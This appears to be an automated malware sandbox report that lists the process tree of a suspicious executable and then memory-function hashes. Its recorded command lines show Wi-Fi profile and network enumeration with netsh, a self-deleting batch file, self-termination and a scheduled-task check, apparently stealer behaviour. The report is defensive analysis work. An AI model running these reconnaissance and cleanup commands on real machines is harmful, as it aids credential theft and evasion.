Show Windows behavior

Target ID:	14
Start time:	02:41:48
Start date:	11/01/2025
Path:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
Imagebase:	0x22414f40000
File size:	71'184 bytes
MD5 hash:	A7D234000C0F4FDE1266602EEBC0FC1C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:41:51
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x7ff624c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:41:51
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:41:51
Start date:	11/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff732380000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:41:52
Start date:	11/01/2025
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff6e2cb0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:41:52
Start date:	11/01/2025
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr All
Imagebase:	0x7ff712250000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:41:53
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x7ff624c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:41:53
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:41:53
Start date:	11/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff732380000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:41:54
Start date:	11/01/2025
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x7ff6e2cb0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:42:02
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat
Imagebase:	0x7ff624c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	02:42:02
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	02:42:02
Start date:	11/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff732380000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:42:02
Start date:	11/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	TaskKill /F /IM 5268
Imagebase:	0x7ff792b90000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:42:02
Start date:	11/01/2025
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	Timeout /T 2 /Nobreak
Imagebase:	0x7ff6fcb10000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:42:05
Start date:	11/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN WinTask
Imagebase:	0x7ff7520b0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:42:05
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:42:06
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:42:06
Start date:	11/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN WinTask
Imagebase:	0x7ff7520b0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:42:07
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:42:07
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1984,i,4100706222337761763,17531368558557990914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF848F33B95 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2314684331.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e8110072008822f9b851662dbd92c3d0a0b45f8918f2b52d7721439382d7d88
Instruction ID: 3d1e5ba4a27c8716d78da19231f1e836c198ea2c78ac1b52f2e39def97fb4f1a
Opcode Fuzzy Hash: 3e8110072008822f9b851662dbd92c3d0a0b45f8918f2b52d7721439382d7d88
Instruction Fuzzy Hash: 2901677111CB0C4FD754EF0CE451AA5B7E0FB95364F10056EE58AC3695D736E881CB45

Analysis Process: tmp1201676045.exePID: 5268, Parent PID: 6176COMMON

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848F0A8AD Relevance: .9, Instructions: 905
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a1add68c71faf379c95b417f729d021f29cdc5bf2c522251d966d35d2005cae
Instruction ID: c7c5bc8160cdfe05f11927d4dd2e59e4f3144c2648d8e1caa47350f506c89f5e
Opcode Fuzzy Hash: 2a1add68c71faf379c95b417f729d021f29cdc5bf2c522251d966d35d2005cae
Instruction Fuzzy Hash: 9E524531A1C94A4FE75CEB2C8485675BBD2EF95345F5442BEC04ACB2DBEF28E8428744

Function 00007FF848F0D00F Relevance: .6, Instructions: 563
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ebd7aabd148415670b28c0b215636d3f57e7ed8c978fc56b255b989dced99f6
Instruction ID: 778b7199aeb9f7ac0f386f0e7deabe9b5ddb03218170bbad401cb3415ab986b6
Opcode Fuzzy Hash: 0ebd7aabd148415670b28c0b215636d3f57e7ed8c978fc56b255b989dced99f6
Instruction Fuzzy Hash: 35F18832E0E54A4FE704BB2CA8551F977A0EF96369F0442BBD44CCB1D7EE2C68468394

Function 00007FF848F0D6C8 Relevance: .5, Instructions: 481
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bffa8784b5c6819a30c9af3abf7d5b1901dd14a35c88fac0b0c74d2168a509d
Instruction ID: 86178fb8cec429320743ce4c05d7599fbf8d8589bca5c2d58d9852080580a4aa
Opcode Fuzzy Hash: 8bffa8784b5c6819a30c9af3abf7d5b1901dd14a35c88fac0b0c74d2168a509d
Instruction Fuzzy Hash: 20E14731E0CA894FD71AEB6888511B87BE1EF56350F1402BBD48AC72D6DF386C46C785

Function 00007FF848F05816 Relevance: .5, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 301932cd91c27fa70b7d7f8f946496730faa220743fcaf12f184fbc371268af9
Instruction ID: a6c942e2bf3d06451911260ae109875970ede839b767fdbf60f8f9de3122360b
Opcode Fuzzy Hash: 301932cd91c27fa70b7d7f8f946496730faa220743fcaf12f184fbc371268af9
Instruction Fuzzy Hash: 75F1A33090CA8D8FEBA8EF28C8557E937D1FF59350F04426AE84DC72D5DB74A9458B82

Function 00007FF848F065C2 Relevance: .5, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b85cb50c6184e59b3d6d762f696c08a79df1169d86de4359103b5129cda60db3
Instruction ID: 9b1d5b8d2970129c8e982400b9a21d7e331d3b66ce138279db7c79d9914c110b
Opcode Fuzzy Hash: b85cb50c6184e59b3d6d762f696c08a79df1169d86de4359103b5129cda60db3
Instruction Fuzzy Hash: CFE1C07090CA4E8FEBA8EF28C8557E977D1EF55350F14426AE84DC7291DF78A8448B81

Function 00007FF848F10D3D Relevance: .2, Instructions: 245
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da7bd2f8b3545d91a35d886962564b3ca297eaafeebbed6857ea6c7b02fec754
Instruction ID: 64a8ca52a721a75f7e800ac330f5bd6ef1b2610967f3013c227fc5e3cbf826e1
Opcode Fuzzy Hash: da7bd2f8b3545d91a35d886962564b3ca297eaafeebbed6857ea6c7b02fec754
Instruction Fuzzy Hash: A771D13190D7C54FD31E9B2848665A57FB1EF43210B0A82EFC4C6CB5E7EA18A84BC756

Function 00007FF848F11247 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46eb604b87254938a8252ec1f609ef9fb0e6cf80d853a2b5c5741b124d6853be
Instruction ID: 181e680498a1df32383a9e3d296480257cfecb1205d69668dcc37adff2cb7560
Opcode Fuzzy Hash: 46eb604b87254938a8252ec1f609ef9fb0e6cf80d853a2b5c5741b124d6853be
Instruction Fuzzy Hash: A261276190D7C25FE30B9B3848660A17FA1EF53210B1942EEC4C78B4E7EA186C5BC392

Function 00007FF848F12236 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5b5f9019ff6dad3923d8f0dffc4ab3b28d4a49c2fbf2f205e921cec8c3c3f6d
Instruction ID: 24ff998b7027ef7cbbf61b91d4978afe41a718f6323b6d38657ee55084c74e05
Opcode Fuzzy Hash: a5b5f9019ff6dad3923d8f0dffc4ab3b28d4a49c2fbf2f205e921cec8c3c3f6d
Instruction Fuzzy Hash: 84413A31A0D6890FD31EDB7888651B67BA6EB87300F1582BFD487CB1E7DD2899078391

Function 00007FF848F121CC Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc7da184df4c6c5be06baa8cf79e70a3e3f2d1b182242f2e8e11f03ba941b01
Instruction ID: 3b362aa9ebcc2196165b42186c70de74d500ae4c8de165995e2727ab4fdccbdb
Opcode Fuzzy Hash: 4cc7da184df4c6c5be06baa8cf79e70a3e3f2d1b182242f2e8e11f03ba941b01
Instruction Fuzzy Hash: 7C414B31A0D6890FD31EDB7888151B67BA6EB86300F1582BED487CB1E7DD289D478391

Function 00007FF848F0FF90 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae465c88e4956971e471e33858e20ebd38b269c2fb07fff4837d627c4c7d07f9
Instruction ID: f5398a815e2e6c3eba3e34f282b4b8ad4844f2340984afed0e23713e1f57eee5
Opcode Fuzzy Hash: ae465c88e4956971e471e33858e20ebd38b269c2fb07fff4837d627c4c7d07f9
Instruction Fuzzy Hash: 99315B3260D2881FD31D9A28CC255767BA5EB93221B0983BFD487CB2E3DD14A8078391

Function 00007FF848F10AB9 Relevance: 1.7, APIs: 1, Instructions: 193
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 00007FF848F10C01

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f54d916c396304fc2c92fb3c6f227136b10ce666694d85419b429b7e4d25bb29
Instruction ID: 6b8beb729901d1337cd2bfcba884655365bc63530233e8d002c62e56307684a6
Opcode Fuzzy Hash: f54d916c396304fc2c92fb3c6f227136b10ce666694d85419b429b7e4d25bb29
Instruction Fuzzy Hash: 1251B17180D7C84FD7079B6898656A57FF0EF57321F0A41EFC085CB1A3D628684ACB62

Function 00007FF848F0FE22 Relevance: 1.6, APIs: 1, Instructions: 108
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 00007FF848F174A1

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fed0db487941239ab6b56955a3bca43fe8b8e581a08575bc7f2e2bb4fe40c0c6
Instruction ID: fa59798b6d505b137b6f7c0ff78e70b7033bb2b1ca5b1b510a64ec7df9ae7b71
Opcode Fuzzy Hash: fed0db487941239ab6b56955a3bca43fe8b8e581a08575bc7f2e2bb4fe40c0c6
Instruction Fuzzy Hash: F531B430A08A1C9FDB18EF9DD8496F9BBE1EBA9311F00422ED049D3291CB7468568B95

Non-executed Functions

Function 00007FF848F09A68 Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f6368d7337062dab6eeaffa45cc073401857b9104f9c2758c0ee6cc3367ad9f
Instruction ID: 6fa225bb8ae182f9bcca2b975a8075f1de270399379ebcec094ec4c52e856cbc
Opcode Fuzzy Hash: 6f6368d7337062dab6eeaffa45cc073401857b9104f9c2758c0ee6cc3367ad9f
Instruction Fuzzy Hash: 4DB16931A0E7890FD329B76898955727BD0EF87350F1901BED4CAC71D3FA19A846C399

Function 00007FF848F14BA0 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfe002b3f6dece2ef5a068dd3db1ce3d873d352e8160d19305fe633e9626d1b9
Instruction ID: 70b2262b7faac5ab0a7df74ff58276f5441a9f99684916b57af6cc8f2eedcb25
Opcode Fuzzy Hash: dfe002b3f6dece2ef5a068dd3db1ce3d873d352e8160d19305fe633e9626d1b9
Instruction Fuzzy Hash: 57415B31A0D3890FD31E9E689C85471BBA2EBD3310B1582BFD5C6C71E7EA285807C791

Function 00007FF848F10C44 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db6e010d22d1c65b2d39afa6a9cae34ce429fde5587576f21a041d176674d69
Instruction ID: 95886f47568606fcf377d039d62158a77d972a93f0076f92d097d4db46d090b0
Opcode Fuzzy Hash: 5db6e010d22d1c65b2d39afa6a9cae34ce429fde5587576f21a041d176674d69
Instruction Fuzzy Hash: C441A031A1DA494FE31DAA3858165B6BBD1FB87350F1442BED48BC71D3EE1898038395

Function 00007FF848F14C68 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2373569550.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f00000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b34f6c920ab64154aedde11f53643e7c928d0c3eacc82255652cc2a25e693b2c
Instruction ID: 36aabe728b2017d342b22de7f882f588d8058882f96be5e29d741580deea045f
Opcode Fuzzy Hash: b34f6c920ab64154aedde11f53643e7c928d0c3eacc82255652cc2a25e693b2c
Instruction Fuzzy Hash: 0501F971B1C3590B932C9DA58CCA437F759E3C7215B01923DEA86C2692DE20541385C1

Analysis Process: tmp1201676045.exePID: 7696, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848F15816 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbcd29d8eaed53b760307abc82c1ed58677435c1ec7b660851790d28825cd34a
Instruction ID: fc96800e5432e5960ef51bec51e8fac26e4ee46be370984b513089a6d61d758f
Opcode Fuzzy Hash: dbcd29d8eaed53b760307abc82c1ed58677435c1ec7b660851790d28825cd34a
Instruction Fuzzy Hash: 4802713091CA4D8FEBA8EF28C8557E937E1FF58350F44426AD84DC72D1DB38A9458B86

Function 00007FF848F165C2 Relevance: .5, Instructions: 517COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e48ba261be79210eb57c9a385f813e35722dca94cd24a6287ef442b9f52ae8
Instruction ID: 62f3f24ff3173b00b8ede3b4b40e5f99eff664da456b99a2324c31270d7ffa9a
Opcode Fuzzy Hash: 43e48ba261be79210eb57c9a385f813e35722dca94cd24a6287ef442b9f52ae8
Instruction Fuzzy Hash: 44027E3090CA4A8FEBA8EF28C8567E937E1EF54350F14427AD84DC7291DF78AD458B85

Function 00007FF848F1098D Relevance: 1.1, Instructions: 1083COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c4ed63562cbf7c12953e1d08f5d265868d55c4dbd2863a607d82e7dc7f66114
Instruction ID: 892c43906442a470415e22ec4b321e45b2bbe96dbce3b21874de3d9df64310ce
Opcode Fuzzy Hash: 0c4ed63562cbf7c12953e1d08f5d265868d55c4dbd2863a607d82e7dc7f66114
Instruction Fuzzy Hash: A8826270D2964D8FEB85EB68C492BA977F1FF69380F5104EAD40DD7292DE286D80CB11

Function 00007FF848F19940 Relevance: .6, Instructions: 557COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89c42c6d9ba84b2e03858b685c7c916110d5a9de8817aee494ed54b35dc96b52
Instruction ID: 3cfca531604a8c47521535ae7641228d912fd7875d5866ef21ef84a516f52f09
Opcode Fuzzy Hash: 89c42c6d9ba84b2e03858b685c7c916110d5a9de8817aee494ed54b35dc96b52
Instruction Fuzzy Hash: FD614932F1D9890FE75AF73814592B96BE1EF95780F4800BAD40DC76DBDE189C458386

Function 00007FF848F1830D Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d1c8ad6dcac2bbbbef3ca441a3eed32e1592d9b99222b931ed21c87601d8cca
Instruction ID: e56518367a264101521cb3d786390917301acdff87cdb4386c4c8112fb22a739
Opcode Fuzzy Hash: 6d1c8ad6dcac2bbbbef3ca441a3eed32e1592d9b99222b931ed21c87601d8cca
Instruction Fuzzy Hash: F881C771B2C94D4FE785FB2C446566977D2EFA9380B4500BAE40DC72E3DE24AC458751

Function 00007FF848F11D15 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 638c25a6562e1948777b8751b56ae9954c6dcadfe9a35b598fa0d403f487ac58
Instruction ID: de812d913bc72c286f190fc5c8e1a6bd191a609793c645bf167c2f81619cf9e9
Opcode Fuzzy Hash: 638c25a6562e1948777b8751b56ae9954c6dcadfe9a35b598fa0d403f487ac58
Instruction Fuzzy Hash: A271AF31E1CA0E8FEB99EB2884556B9BBE1EF99341F0500BAD40DC72D3DF286C858755

Function 00007FF848F17C2D Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de35e9e08edf55221c2fb4d2d829b2464ce104d9a1fd020c73adfd70d844fe13
